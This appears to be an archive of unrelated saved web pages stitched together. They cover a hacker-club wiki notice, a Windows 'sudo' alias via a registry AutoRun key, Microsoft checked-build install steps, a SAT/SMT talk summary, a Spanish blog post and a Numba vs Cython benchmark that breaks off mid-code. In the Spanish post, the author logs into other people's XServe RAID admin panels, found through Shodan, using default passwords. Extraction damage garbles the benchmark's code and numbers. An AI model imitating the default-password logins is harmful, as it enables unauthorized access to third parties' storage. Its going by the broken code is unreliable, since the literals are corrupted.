**Updated:**| _9/12/2010 10:39:59 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation analysis
software testing_  
  
<img src='img/pohle-diplom.pdf' /><img src='img/pohle-diplom.pdf' />

# GPN8:Paper-Review-Runde – Entropia

**Created:**| _6/16/2009 6:46:23 PM_  
---|---  
**Updated:**| _6/16/2009 6:46:36 PM_  
**Author:**| __  
**Tags:**| _Hacks_  
  

# GPN8:Paper-Review-Runde

### aus dem Wiki des Entropia e.V., CCC Karlsruhe

Wechseln zu: Navigation, Suche

Wie auch im letzten Jahr gibt es wieder eine Paper-Review-Runde\!

Du hast ein gutes Paper, einen fantastischen Blogeintrag, einen überragenden
Artikel gelesen? Du möchtest andere zum Lesen animieren? Hier stellen wir
lebensverändernde, legendäre, lustige oder einfach nur gute Papers vor. 5-10
Minuten für jeden, je nach Andrang. Am besten sowohl vom Inhalt erzählen als
auch von den Gründen, warum es gut ist, was für Auswirkungen es evtl. hatte.
Und hier verlinken oder hochladen.

# Rooting Windows « Just Let It Flow

**Created:**| _10/29/2011 1:50:02 PM_  
---|---  
**Updated:**| _10/29/2011 1:50:02 PM_  
**Author:**| __  
**Tags:**| _post-exploitation windows_  
  

### Rooting Windows

Filed under: Windows — adeyblue @ 10:15 pm

What does every self respecting \*nix person pine for when they’re using
Windows? Emacs? vi? grep? Well… apart from those, yeah su\(do\). Luckily,
implementing it is actually very easy and you don’t have to download cygwin to
get it to work. Why not make their working landscape a little bit more like
home this festive season by doing this small thing for them, I’m sure they’ll
be grateful.

Firstly, you need to add the framework of the command to cmd’s registry entry
so it’ll be loaded for them everytime they run it. All this consists of is a
simple use of the doskey command. Doskey works like C’s macro system with
batch file style arguments and expansion, so text substitution on steroids.
Leverage it so that ‘sudo’ will expand to the ‘runas’ command launching the
supplied command under the admin account. In reg command parlance that’s:

[code]

    reg add "HKCU\Software\Microsoft\Command Processor" /v AutoRun /d "doskey sudo=runas /profile /user:<Admin> \"cmd /C $*\""
[/code]

The command runas will start breaks down as follows:  

– the name of the admin account, rename to ‘root’ for added authenticity  
cmd – The shell, obviously  
/C – Close the shell after the command has finished  
$\* – Magical incantation meaning ‘all supplied variables’

There we go, you’re now the proud owner of sudo. Restart cmd for the changes
to take effect, and test away:

[code]

    C:\Users\Adrian\desktop>sudo ping google.co.uk
    Enter the password for root:
    Attempting to start cmd /C ping google.co.uk as user "root" ...
     
    <Meanwhile in another window>
    Pinging google.co.uk [209.85.229.104] with 32 bytes of data:
    ...
[/code]

With more judicious use of argument expansion you can get closer to actual su
implementation such as impersonating particular users etc, but that can be
your gift from me <img src='img/Temp2_7065.gif' alt=':-)' />

# Installing Just the Checked Operating System and HAL

**Created:**| _10/21/2009 9:07:24 AM_  
---|---  
**Updated:**| _10/21/2009 9:07:39 AM_  
**Author:**| __  
**Tags:**| _setup Debugging windows security_  
  

## nstalling Just the Checked Operating System and HAL

Instead of installing the complete checked build on your computer, you can
install the free build of the system, and then install the checked versions of
just the operating system image and HAL. If you use this procedure, you can
configure the boot loader to provide you with two boot options. One boot
option is for the free build. The second boot option starts the system using
just the checked operating system image and HAL, but uses free versions of all
other system components.

This approach, compared to installing the complete checked build, provides the
following advantages:

  * Drivers get the benefit of the operating-system and HAL debug checks. At the same time, because free versions of system components other than the operating system and HAL are being used, the performance impact on the entire system is minimized.
  * A single installation \(and thus one system directory, one set of executable components, and one set of registry parameters\) can use either the checked or the free version of the operating system image and HAL, as determined at boot time.

To install the checked versions of the operating system image and HAL, you
must copy the appropriate files from the checked distribution medium to the
_%SystemRoot%\system32_ directory using new, unique file names. Then you must
instruct the system to offer an option that uses these files during system
startup. There are a few important guidelines to keep in mind when installing
checked operating system and HAL images on an otherwise free installation:

  * The operating system image and HAL must be kept in synch at all times. Therefore, if you use a checked version of the operating system image, you must also use the checked version of the HAL \(and vice versa\). Failure to keep a system's operating system image and HAL coordinated can make the system unbootable.
  * Do not overwrite the free versions of the operating system image and the HAL that are installed during the installation of the free build. Overwriting the free versions of the operating system image and HAL can make the system unbootable, and can make it difficult to recover from errors. Therefore, always be careful to use new, unique file names when copying the checked versions of the operating system and HAL to the  _%SystemRoot%\system32_ directory.
  * Make sure the checked distribution you use is the same Service Pack number as that of the free system. For example, if you are installing the checked operating system image and HAL onto a system for which Service Pack 2 of a free build system is installed, make certain that the checked distribution you are using is also Service Pack 2.

If you follow these guidelines, installing the checked versions of the
operating system and HAL is easy.

Use the following steps to install a partial checked build.

#### Step 1: Identifying the Files To Install

Your first step in installing a partial checked build is to determine the
version of the operating system image and HAL files that were used to install
the free build on your system.

Several different versions of the operating system and HAL images are supplied
on the NT-based operating system distribution medium. These different versions
exist to support different combinations of processors and other system
hardware. When the operating system software is installed, the installation
procedure automatically identifies which operating system image and HAL image
to use, and copies the appropriate files from the distribution medium to the
system's  _%SystemRoot%\system32_ directory.

The operating system image file that is installed depends on whether one or
multiple processors are to be supported, and on whether Physical Address
Extension \(PAE\) is supported. \(PAE is active on systems with more than 4 GB
of physical memory.\). The file names on the distribution medium are as
follows:

_ntoskrnl.exe_

     Uniprocessor x86 architecture systems with 4 GB of physical memory or less. 
_ntkrnlpa.exe_

     Uniprocessor x86 architecture systems with PAE support. 
_ntkrnlmp.exe_

     Multiprocessor x86 architecture systems with 4 GB of physical memory or less. 
_ntkrpamp.exe_

     Multiprocessor x86 architecture systems with PAE support. 
Likewise, there are several different names for the HAL.

During system installation, the installation procedure determines the
appropriate operating system image and HAL to install on your system. The
selected files are copied to the _%SystemRoot%\system32_ directory during
installation, using fixed, well-known, names. The use of these fixed names
makes it easy for the loader to locate these files at boot time. The fixed
names for these files are:

_ntoskrnl.exe_

     Operating system image for x86 systems with 4 GB or less of physical memory. 
_ntkrnlpa.exe_

     Operating system image for x86 systems with more than 4 GB of physical memory. 
_hal.dll_

     Loadable HAL image. 
Note that in some cases, depending on the system’s hardware configuration, one
or more of the files may be  _renamed to the appropriate fixed name_. In other
cases, the file name on the distribution medium is the same as the required
fixed file name.

Your first step in installing the checked operating system image and HAL is to
determine the original names of the images that were copied to your system
during system installation. You do this by examining the file
_%SystemRoot%\repair\setup.log_. This is a hidden file, so you will have to
change its attributes before it can be displayed by the MS-DOS® **dir**
command.

The  _setup.log_ file indicates the files that were copied from the
distribution medium to the  _%SystemRoot%\system32_ directory during the
system installation process. Here is an example of a  _setup.log_ file:

[code]

    [Paths]
    TargetDirectory = "\WINNT"
    TargetDevice = "\Device\Harddisk0\Partition1"
    SystemPartitionDirectory = "\"
    SystemPartition = "\Device\Harddisk0\Partition1"
    [Signature]
    Version = "WinNt5.1"
    [Files.SystemPartition]
    NTDETECT.COM = "NTDETECT.COM","f41f"
    ntldr = "ntldr","3e8b5"
    arcsetup.exe = "arcsetup.exe","379db"
    arcldr.exe = "arcldr.exe","2eca9"
    [Files.WinNt]
    \WINNT\system32\drivers\kbdclass.sys = "kbdclass.sys","e259"
    \WINNT\system32\drivers\mouclass.sys = "mouclass.sys","7e78"
    \WINNT\system32\drivers\uhcd.sys = "uhcd.sys","10217"
    \WINNT\system32\drivers\usbd.sys = "usbd.sys","5465"
    (…several similar lines omitted…)
    \WINNT\system32\framebuf.dll = "framebuf.dll","10c84"
    \WINNT\system32\hal.dll = "halmacpi.dll","2bedf"
    \WINNT\system32\ntkrnlpa.exe = "ntkrpamp.exe","1d66a6"
    \WINNT\system32\ntoskrnl.exe = "ntkrnlmp.exe","1ce5c5"
    \WINNT\inf\mdmrpci.inf = "mdmrpci.inf","96a3"
    
    
[/code]

You can identify which operating system image and HAL files were installed on
your system by searching  _setup.log_ for the fixed operating system image
file names. Make a note of the original file names used on your system,
because you will need to copy the checked versions of these same files from
the checked distribution kit. You will find the standard, well-known, file
name on the left of the equal sign. Its original name from the distribution
medium will be immediately to the right of the equal sign on the same line.

In the sample  _setup.log_ file shown above, you can see that two operating
system image files were copied to the  _\winnt\system32_ directory \(which is
_%SystemRoot%\system32_\) during installation. The file  _ntkrpamp.exe_ is
copied from the distribution medium to  _ntkrnlpa.exe_ and the file
_ntkrnlmp.exe_ is copied from the distribution medium to  _ntoskrnl.exe_. From
this sample, you can also see that the HAL file \(with the fixed name
_hal.dll_ in the  _%SystemRoot%\system32_ directory\) was originally named
_halmacpi.dll_.

**Warning** Some HAL files have deceptively similar names. For example,
_halacpi.dll_ and  _halapic.dll_ are two commonly used HALs. Be careful to use
the correct version of the HAL for your system. Selecting the wrong HAL will
result in a system that is not bootable.

#### Step 2: Copying the Checked Files

Now that you know the names of the files that were used during your system
installation, you can copy the checked versions of these files to your system.
Find the files you have identified in the checked distribution kit. Then copy
these files to the  _%SystemRoot%\system32_ directory of your system, giving
them new, unique, file names. The copies of these files must follow the 8.3
naming convention. One way to ensure unique, 8.3-compliant file names is to
rename the file types from their original file types \(_.dll_ or  _.exe_\) to
_.chk_ when they are copied. Thus, using the example started in Step 1, you
would copy files from the checked distribution kit as follows:

If the original file name in the checked distribution is:| Copy it to the
following file name in  _%SystemRoot%\system32_ :  
---|---  
_ntkrnlmp.exe_|  _ntkrnlmp.chk_  
 _ntkrpamp.exe_|  _ntkrpamp.chk_  
 _halmapic.dll_|  _halmapic.chk_  
  

Some files in the checked distribution are provided in compressed form. These
files are indicated with an underscore character as the last character in
their file type. For example, if you look for the file  _halapic.dll_ in the
checked build distribution kit, but you find the file  _halapic.dl\__ , you
have found the correct file, but in compressed form.

To decompress compressed files from the checked distribution, use the Expand
utility \(_%SystemRoot%\system32\expand.exe_\). For example, to expand
_halapic.dl\__ and name the expanded file  _halapic.chk_ , you can use the
following command from an MS-DOS Command Prompt window:

[code]

    > **expand halapic.dl_ halapic.chk**
    
[/code]

#### Step 3: Editing  _boot.ini_

After you have copied the checked files to the  _%SystemRoot%\system32_
directory, you must create a boot-time option that allows the system to be
started using these checked files. You do this by editing the file
_boot.ini_.

For general instructions, see Editing the  _boot.ini_ File.

In this specific case, you need to create a new boot-time option that allows
you to start the system with the checked version of the operating system image
and HAL that you have installed.

Locate the line in the **\[operating systems\]** section of  _boot.ini_ that
refers to your Windows installation. Make a second copy of it, and add to the
end of the copied line the following parameters:

[code]

    **/kernel=**_KernelFile_**/hal=**_HalFile_ 
    
    
[/code]

where  _KernelFile_ is the name of the checked version of the operating system
image file that you previously copied from the checked distribution kit, and
_HalFile _is the name of the checked version of the HAL that you previously
copied from the checked distribution kit.

If the line that describes your operating system contains the **/PAE**
parameter, be sure to use the checked version of the operating system image
that supports Physical Address Extension. If the line that describes your
operating system does not have the **/PAE** parameter, use the checked version
of the operating system image without PAE support.

You should also change the quoted text on the new line, so that you will be
able to identify which line is the free build and which line is the partial
checked build.

Here is an example of such a  _boot.ini_ file:

[code]

    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect
    multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows 2000 Checked" /fastdetect /kernel=ntoskrnl.chk /hal=halacpi.chk
    
    
[/code]

If you will be using the checked build with a kernel debugger, you should also
add the proper debugging-related parameters. \(The** /kernel** and **/hal**
parameters do not enable debugging automatically.\) See Editing the
_boot.ini_ File for details.

Once you have made your changes, save the changes and exit from the editor.
The next time you boot this system, a new operating system boot option will be
displayed that allows you to select your checked operating system image and
HAL.

#### Installing Additional Checked Files

Once you have the checked operating system and HAL installed, you have the
option to install additional checked components. You can replace the
installed, free versions of a few key components with their checked
counterparts from the checked distribution medium. This can be helpful, for
example, when you are writing a driver that exists within a stack of other
devices. By replacing the free versions of the drivers that are above and
below your driver in the stack, you will enable additional error checking in
these components. This could help you identify problems in your driver more
quickly and easily.

When replacing free drivers with their checked counterparts, there is no way
to easily provide alternate images for system-supplied driver components.
Thus, when you replace free drivers with checked drivers on your system, the
checked drivers will be used when either the free or checked version of the
operating system image and HAL is started. Therefore, you might want to rename
\(or copy\) the original free versions of any drivers that you replace with
their checked counterparts, so that you can restore the free drivers later.

Finally, note that any time you change one of the standard files that exist in
one of the system directories \(such as  _%SystemRoot%\system32_\) Windows
File Protection \(WFP\) will restore that file to its original state unless
WFP is first disabled. If a debugger is attached to your system, you can
temporarily disable Windows File Protection by changing the following registry
value:

[code]

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    SFCDisable:REG_DWORD:2
    
    
[/code]

Setting **SFCDisable** to a value of **2** disables WFP for the next boot
\(only\). A value of **0** \(the default\) enables WFP. For a description of
the features of WFP, see the Platform SDK. For more information on the WFP
registry settings, see Microsoft Knowledge Base Article Q222473.

Built on Friday, April 11, 2003

# SAT/SMT Summer School 2011 Summary \(Day 2\) « Sean Heelan's Blog

**Created:**| _6/21/2011 8:10:23 AM_  
---|---  
**Updated:**| _6/21/2011 8:10:40 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification SMT verification_  
  

## SAT/SMT Summer School 2011 Summary \(Day 2\)

June 15, 2011 by seanhn

**Independence Results for the P vs. NP Question \(Shai Ben David\)**

This was a really fun talk that was very much on the theoretical side of logic
and satisfiability but with potentially very important implications. Ever
since learning about early 20th century work by Hilbert, Godel, Turing etc. on
foundations of logical systems and proofs I’ve been fascinated by anything
that discusses the universal limitations and capabilities of logical systems.
This was the first talk I’ve seen where this kind of purely theoretical work
was linked to an implication for solving technologies. The fundamental
question approached in the talk was whether P \!= NP is an irresolvable
question give the logics we have available. That is, can we prove that it is
unprovable.

I would do it injustice to try and summarise the talk \(and I’d get it
wrong\!\) but the main result was that if it were true that P is nearly equal
to NP then we would not be able to prove P \!= NP using current lines of
reasoning and tools. The interesting result for SAT solvers is that if this
were the case then many of the problems we want to solve may be solvable in
almost-polynomial time. The downside is that even if we could prove this the
proof probably wouldn’t help at all in building a solver than can exploit this
closeness.

I’ve totally butchered the details of this talk but you can find a
earlier/shorter version of it here and a paper here.

**HAMPI: A Solver for String Theories \(Vijay Ganesh\)**

Vijay’s talk was on the HAMPI solver. HAMPI contains a theory for bounded
\(that’s important\) character strings that allows it to reason about things
like whether a regular expression matches against a particular string or not.
From what I gathered, it operates by converting a regular expression into a
context-free-grammar and then converting that context-free-grammar, along with
any constraints we may wish to check, into a formula over bitvectors and
checking the satisfiability of this with STP. The main target application was
detecting oversights in regexs designed to catch SQL injection attempts but
Vijay also mentioned they got a 2-5x speed-up when using this solver with KLEE
on applications that do a lot of string manipulation. KLEE tends to perform
quite poorly on things like XML parsers so I’d love to see if specialised
solvers can help out here.

**Modern SMT Solver Implementation \(Leonardo De Moura & Nikolaj Bjorner\)**

This was a good talk by some of the best guys building SMT solvers, Leonardo
De Moura and Nikolaj Bjorner. Both of their publication pages are worth
checking out for details on building SMT solvers as well as the theoretical
aspects.

They first highlighted some of the core problems in SMT solvers that affect
performance: combining engines, unfairness between theory solvers and
quantifiers. The most interesting part of the talk for me was on the use of
abstraction/relaxing and then refinement when dealing with complex problems.
For example, abstracting problems problems using uninterpreted functions and
then checking satisfiability may reduce the complexity of the original
problem. If it turns out that is UNSAT then the original is UNSAT and if you
get a SAT result you can then refine the abstraction if necessary and check
again. This idea of abstraction/refinement \(CEGAR I guess\) loops came up a
lot in many different talks.

Also interesting was the mention of their verifying compiler projects that do
function level verification and use contracts for called functions in the
analysis rather than analysing down into them. I know the idea of contracts is
used in HAVOC and discussed extensively in Thomas Ball’s publications but I’m
not sure if this was the project they were referring too.

**Scalable Testing/Reverse Engineering/Performance Profiling with Parallel and
Selective Symbolic Execution \(George Candea & Stefan Bucur\)**

The next talk was on the guys behind S2E and Cloud9. Cloud9 is cool in that
it’s a big cluster of nodes each exploring different parts of a tree in
symbolic execution. They found run times for gaining a particular code
coverage percentile to drop dramatically when going from 1 to 8 nodes and then
drop even further as they went up to 48 nodes. The total effect being a drop
from 6 hours to minutes for the particular example.

S2E caught my attention a few weeks ago after reading their paper as it is
designed to be a platform for writing analysis tools that leverage symbolic
execution. To my knowledge it is the first system of this kind that allows a
callback/event based mechanism for analysis tools and can target an entire
operating system stack \(it’s built on QEMU\). They have some good
documentation as well which is crucial for getting users involved. When I
grabbed the code a few weeks back I did notice some dramatic slowdown in
execution times even when not doing symbolic execution so that’s an issue that
will have to be addressed but this looks like it could be a great project.
With the combination of docs and well thought out design I’m hoping for the
PIN of symbolic execution tools.

In the later part of their talk they gave some feedback to the SMT developer
community with suggestions for improvements. For example, 30% of the time
spent within their solver \(STP\) was spent in memory allocation routines.
It’s something I haven’t seen a whole lot written on but the type of work that
SMT engines is probably specific enough to require carefully crafted memory
allocation algorithms. It’ll be interesting to see what comes of this in the
future.

**CVC3 and Applications \(Clark Barrett\)**

Clark Barrett has been involved in SMT solver development for probably as long
as anyone else and as CVC3 is the solver used internally in Immunity Debugger
this talk was of particular interest. Clark mentioned that CVC4 is in
development and should be seeing a release sometime this year so that’s good
news. We’ve had some issues with CVC3 dealing with large array constraints and
as this is being redone it should hopefully fare a bit better.

Unrelated to CVC3 really but one of the comments at the end was kind of
striking in that the person said they often found using the theory of linear
integer arithmetic with constraints to represent the bounded nature of 32-bit
values faster than the theory of bitvectors. I guess that has something to do
with their application area and the kinds of constraints if they’re not heavy
on bit-level operations but it was something I’ve never thought to do before.

**CEGAR+SMT: Formal Verification of Control Logic in the Reveal System \(Karem
Sakallah\)**

Karem Sakallah was one of the most entertaining speakers of the day and also
presented some interesting ideas behind a verification system based on model
checking and Counter Example Guided Abstraction Refinement \(CEGAR\) that is
currently being used to verify real hardware. This was the second talk of the
day in which abstraction and refinement using uninterpreted functions were
discussed to make difficult problems more tractable \(the first being the one
by the MSR guys\). In this talk Karem also mentioned that naive refinement was
not sufficient. So, typically what happens is that when a SAT result turns out
to be a false positive a constraint is generated that will block that result
from being given again and this is added to the global state. To alleviate
this some post-processing is done on the generated formula. They weaken the
conditions so that it entails an entire family of states. For example, if the
condition was \(a == 5 AND b == 6\) they weaken it to \(a < b\). I have no
idea how they prevent this weakening from excluding valid states so I'll need
to follow up on that tomorrow =D

A final point made was that throughout their development process they built a
number of optimisations but discovering the best combination of these
optimisations was a trial/error process. The graph shown for this varied from
combinations of optimisations that had no effect at all to some that cut the
execution time to minuscule fractions of the base case.

# Un informático en el lado del mal: Tengo un XServe y te comparto mi RAID

**Created:**| _11/12/2010 1:58:07 PM_  
---|---  
**Updated:**| _11/12/2010 1:58:55 PM_  
**Author:**| __  
**Tags:**| _setup Footprinting raid cloud computing_  
  

### Tengo un XServe y te comparto mi RAID

He de reconocer que desde que estoy involucrado en el blog de Seguridad Apple,
me lo paso genial descubriendo como está la situación en seguridad en muchas
de las cosas que están por aquí. Ya os conté lo de los fallos curiosos en el
iPhone, o lo de los usuarios de Mac OS X que comparten por defecto sus
carpetas para todos los amigos por medio de AFP – espero que no tengan porno y
se vean denunciados -.  
  
Hoy la historia viene a colación de la noticia esa de que Apple iba a
abandonar los XServe por los nuevos Mac Pro Servers. Decidimos, a colación de
ella, echar un ojo a los servidores que usaba Apple para escribir un artículo
llamado _"¿Servidores Apple Sí o No?"_ en el que sólo jugueteamos con Shodan y
la FOCA un rato.  
  
Lo gracioso es que me llamó mucho la atención uno de los servidores, los que
tenían el banner de **_" Apple Embedded Web Server"_**. Mirando en Shodan
aparece un buen montón de servidores.  
  
<img src='img/Temp2_8673.jpg' />  
_Figura 1: Servidores descubiertos en Shodan_  
Investigando un poco, es fácil descubrir que son servidores de almacenamiento
en RAID. La guía de administración de estos servidores te da mucha información
sobre su gestión y, por supuesto, cuales son las contraseñas por defecto.  
  
<img src='img/Temp2_8675.jpg' />  
_Figura 2: Passwords por defecto_  
Como podéis imaginar, se me ocurrió pensar lo mismo que a vosotros, así que
nada, descargamos la utilidad de administración desde esta URL y _“un amigo
mío que usa Mac OS X”_ probó a ver si se podía conectar a estas utilidades con
las passwords por defecto. La herramienta de administración puede ser
descargada desde esta URL: XServe RAID Admin Tools  
  
Tal y como se ve en el panel de control de la herramienta, unas daban
problemas de contraseña – bien por los administradores que las cambiaron -,
otros de conexión – bien por los que filtraron las direcciones IP de conexión
-, y otras permitían acceder al panel de administración - FAIL -.  
  
<img src='img/Temp2_8672.jpg' />  
_Figura 3: Prueba con algunos servidores públicos_  
Una vez allí, la utilidad de configuración permite visualizar la información
de red, temperatura, almacenamiento, configuración de los RAID, etc… toda la
parte de controles típicos de servidores de almacenamiento.  
  
<img src='img/Temp2_8674.jpg' />  
_Figura 4: Opciones del fibre channel_  
O símplemente cotillear como está el equipo para ofrecerles una ampliación o
un sistema de refrigueración, o vete tú a saber qué:  
  
<img src='img/Temp2_8676.jpg' />  
_Figura 5: Estatus del servidor_  
Por supuesto, tal y como indica la guía, es posible entrar en las utilidades
de administración avanzada, siempre y cuanto se tenga la credencial de
administración. En las utilidades la cosa se pone más fea, ya que es posible,
desde rehacer el RAID, hasta crearte tus propios RAID y, por supuesto
borrarlos.  
  
<img src='img/Temp2_8671.jpg' />  
_Figura 6: Opciones de manipulación del RAID_  
Esto es feo, muy feo. De verdad, sé que están acostumbrados a sus propios
protocolos, y que debido a eso han vivido aislados en su bonito paraíso donde
NO eran objetivo, pero… eso ya pasó. Si tienes servidores Apple, también
tienes que auditarlos y cuidarlos, además de actualizar el software \(salvo
que tengas PGP en todo el disco \}XD \)  
  
Saludos Malignos\!

# Numba vs. Cython: Take 2

**Created:**| _9/27/2013 11:10:16 AM_  
---|---  
**Updated:**| _9/27/2013 11:10:16 AM_  
**Author:**| __  
**Tags:**| _python performance_  
  

# **N** umba vs. Cython: Take 2****

Jun 15, 2013

Last summer I wrote a post  comparing the performance of Numba  and Cython
for optimizing array-based computation**.** Since posting, the page has
received thousands of hits, and resulted in a number of interesting
discussions**.** But in the meantime, the Numba package has come a long way
both in its interface and its performance**.**

Here I want to revisit those timing comparisons with a more recent Numba
release, using the newer and more convenient `autojit` syntax, and also add in
a few additional benchmarks for completeness**.** I've also written this post
entirely within an IPython notebook, so it can be easily downloaded and
modified**.**

As before, I'll use a **pairwise distance** function**.** This will take an
array representing `M` points in `N` dimensions, and return the `M x M` matrix
of pairwise distances**.** This is a nice test function for a few reasons.
First of all, it's a very clean and well-defined test**.** Second of all, it
illustrates the kind of array-based operation that is common in statistics,
datamining, and machine learning**.** Third, it is a function that results in
large memory consumption if the standard numpy broadcasting approach is used
\(it requires a temporary array containing `M * M * N` elements\), making it a
good candidate for an alternate approach**.**

We'll start by defining the array which we'll use for the benchmarks: one
thousand points in three dimensions**.**

In \[1\]:

[code]

    import numpy as np
    X = np.random.random((1000, 3))
    
[/code]

## Numpy Function With Broadcasting****¶

We'll start with a typical numpy broadcasting approach to this problem**.**
Numpy broadcasting is an abstraction that allows loops over array indices to
be executed in compiled C. For many applications, this is extremely fast and
efficient**.** Unfortunately, there is a problem with broadcasting approaches
that comes up here: it ends up allocating hidden temporary arrays which can
eat up memory and cause computational overhead**.** Nevertheless, it's a good
comparison to have. The function looks like this:

In \[2\]:

[code]

    def pairwise_numpy(X):
        return np.sqrt(((X[:, None, :] - X) ** 2).sum(-1))
    %timeit pairwise_numpy(X)
    
[/code]

[code]

    10 loops, best of 3: 111 ms per loop
    
    
[/code]

## Pure Python Function****¶

A loop-based solution avoids the overhead associated with temporary arrays,
and can be written like this:

In \[3\]:

[code]

    def pairwise_python(X):
        M = X.shape[0]
        N = X.shape[1]
        D = np.empty((M, M), dtype=np.float)
        for i in range(M):
            for j in range(M):
                d = 0**.** 0
                for k in range(N):
                    tmp = X[i, k] - X[j, k]
                    d += tmp * tmp
                D[i, j] = np.sqrt(d)
        return D
    %timeit pairwise_python(X)
    
[/code]

[code]

    1 loops, best of 3: 13**.** 4 s per loop
    
    
[/code]

As we see, it is over 100 times slower than the numpy broadcasting
approach**\!** This is due to Python's dynamic type checking, which can
drastically slow down nested loops**.** With these two solutions, we're left
with a tradeoff between efficiency of computation and efficiency of memory
usage**.** This is where tools like Numba and Cython become vital

I should note that there exist alternative Python interpreters which improve
on the computational inefficiency of the Python run-time, one of which is the
popular PyPy  project**.** PyPy is extremely interesting. However, it's
currently all but useless for scientific applications, because it does not
support NumPy, and by extension cannot run code based on SciPy, scikit-learn,
matplotlib, or virtually any other package that makes Python a useful tool for
scientific computing**.** For that reason, I won't consider PyPy here.

## Numba Wrapper****¶

Numba  is an LLVM compiler for python code, which allows code written in
Python to be converted to highly efficient compiled code in real-time**.** Due
to its dependencies, compiling it can be a challenge**.** To experiment with
Numba, I recommend using a local installation of Anaconda , the free cross-
platform Python distribution which includes Numba and all its prerequisites
within a single easy-to-install package**.**

Numba is extremely simple to use. We just wrap our python function with
`autojit` \(JIT stands for "just in time" compilation\) to automatically
create an efficient, compiled version of the function:

In \[4\]:

[code]

    from numba import double
    from numba.decorators import jit, autojit
    
    pairwise_numba = autojit(pairwise_python)
    
    %timeit pairwise_numba(X)
    
[/code]

[code]

    1 loops, best of 3: 9**.** 12 ms per loop
    
    
[/code]

Adding this simple expression speeds up our execution by over a factor of over
1400**\!** For those keeping track, this is about 50% faster than the version
of Numba that I tested last August on the same machine**.**

## Optimized Cython Function****¶

Cython  is another package which is built to convert Python-like statemets
into compiled code**.** The language is actually a superset of Python which
acts as a sort of hybrid between Python and C. By adding type annotations to
Python code and running it through the Cython interpreter, we obtain fast
compiled code**.** Here is a highly-optimized Cython version of the pairwise
distance function, which we compile using IPython's Cython magic:

In \[5\]:

[code]

    %load_ext cythonmagic
    
[/code]

In \[6\]:

[code]

    %%cython
    import numpy as np
    cimport cython
    from libc.math cimport sqrt
    
    @cython.boundscheck(False)
    @cython.wraparound(False)
    def pairwise_cython(double[:, ::1] X):
        cdef int M = X.shape[0]
        cdef int N = X.shape[1]
        cdef double tmp, d
        cdef double[:, ::1] D = np.empty((M, M), dtype=np.float64)
        for i in range(M):
            for j in range(M):
                d = 0**.** 0
                for k in range(N):
                    tmp = X[i, k] - X[j, k]
                    d += tmp * tmp
                D[i, j] = sqrt(d)
        return np.asarray(D)
    
[/code]

In \[7\]:

[code]

    %timeit pairwise_cython(X)
    
[/code]

[code]

    100 loops, best of 3: 9**.** 87 ms per loop
    
    
[/code]

The Cython version, despite all the optimization, is a few percent _slower_
than the result of the simple Numba decorator**\!** I should emphasize here
that I have years of experience with Cython, and in this function I've used
every Cython optimization there is \(if any Cython super-experts are out there
and would like to correct me on that, please let me know in the blog comment
thread**\!**\) By comparison, the Numba version is a simple, unadorned wrapper
around plainly-written Python code**.**

## Fortran/F2Py****¶

Another option for fast computation is to write a Fortran function directly,
and use the `f2py` package to interface with the function**.** We can write
the function as follows:

In \[8\]:

[code]

    %%file pairwise_fort**.** f
    
          subroutine pairwise_fort(X,D,m,n)
              integer :: n,m
              double precision, intent(in) :: X(m,n)
              double precision, intent(out) :: D(m,m) 
              integer :: i,j,k
              double precision :: r 
              do i = 1,m 
                  do j = 1,m 
                      r = 0
                      do k = 1,n 
                          r = r + (X(i,k) - X(j,k)) * (X(i,k) - X(j,k)) 
                      end do 
                      D(i,j) = sqrt(r) 
                  end do 
              end do 
          end subroutine pairwise_fort
    
[/code]

[code]

    Writing pairwise_fort**.** f
    
    
[/code]

We can then use the shell interface to compile the Fortran function**.** In
order to hide the output of this operation, we direct it into `/dev/null`
\(note: I tested this on Linux, and it may have to be modified for Mac or
Windows\)**.**

In \[9\]:

[code]

    # Compile the Fortran with f2py**.**
    # We'll direct the output into /dev/null so it doesn't fill the screen
    **!** f2py -c pairwise_fort.f -m pairwise_fort > /dev/null
    
[/code]

We can import the resulting code into Python to time the execution of the
function**.** To make sure we're being fair, we'll first convert the test
array to Fortran-ordering so that no conversion needs to happen in the
background:

In \[10\]:

[code]

    from pairwise_fort import pairwise_fort
    XF = np.asarray(X, order='F')
    %timeit pairwise_fort(XF)
    
[/code]

[code]

    100 loops, best of 3: 16**.** 7 ms per loop
    
    
[/code]

The result is nearly a factor of two slower than the Cython and Numba
versions**.**

Now, I should note here that I am most definitely **not** an expert on
Fortran, so there may very well be optimizations missing from the above
code**.** If you see any obvious problems here, please let me know in the blog
comments**.**

## Scipy Pairwise Distances****¶

Because pairwise distances are such a commonly used application in scientific
computing, both Scipy and scikit-learn have optimized routines to compute
them**.** The Scipy version is a Python wrapper of C code, and can be called
as follows:

In \[11\]:

[code]

    from scipy.spatial.distance import cdist
    %timeit cdist(X, X)
    
[/code]

[code]

    100 loops, best of 3: 12**.** 9 ms per loop
    
    
[/code]

`cdist` is about 50% slower than Numba**.**

## Scikit-learn Pairwise Distances****¶

Scikit-learn contains the `euclidean_distances` function, works on sparse
matrices as well as numpy arrays, and is implemented in Cython:

In \[12\]:

[code]

    from sklearn.metrics import euclidean_distances
    %timeit euclidean_distances(X, X)
    
[/code]

[code]

    10 loops, best of 3: 35**.** 6 ms per loop
    
    
[/code]

`euclidean_distances` is several times slower than the Numba pairwise function
on dense arrays**.**

## Comparing the Results****¶

Out of all the above pairwise distance methods, unadorned Numba is the clear
winner, with highly-optimized Cython coming in a close second**.** Both beat
out the other options by a large amount.

As a summary of the results, we'll create a bar-chart to visualize the
timings:

_Edit: I changed the "fortran" label to "fortran/f2py" to make clear that this
is not raw Fortran**.**_

In \[13\]:

[code]

    %pylab inline
    
[/code]

[code]

    Welcome to pylab, a matplotlib-based Python environment [backend: module://IPython.zmq.pylab.backend_inline]**.**
    For more information, type 'help(pylab)'.
    
    
[/code]

In \[14\]:

[code]

    labels = ['python\nloop', 'numpy\nbroadc**.** ', 'sklearn', 'fortran/\nf2py', 'scipy', 'cython', 'numba']
    timings = [13**.** 4, 0**.** 111, 0.0356, 0.0167, 0.0129, 0**.** 00987, 0.00912]
    x = np.arange(len(labels))
    
    ax = plt.axes(xticks=x, yscale='log')
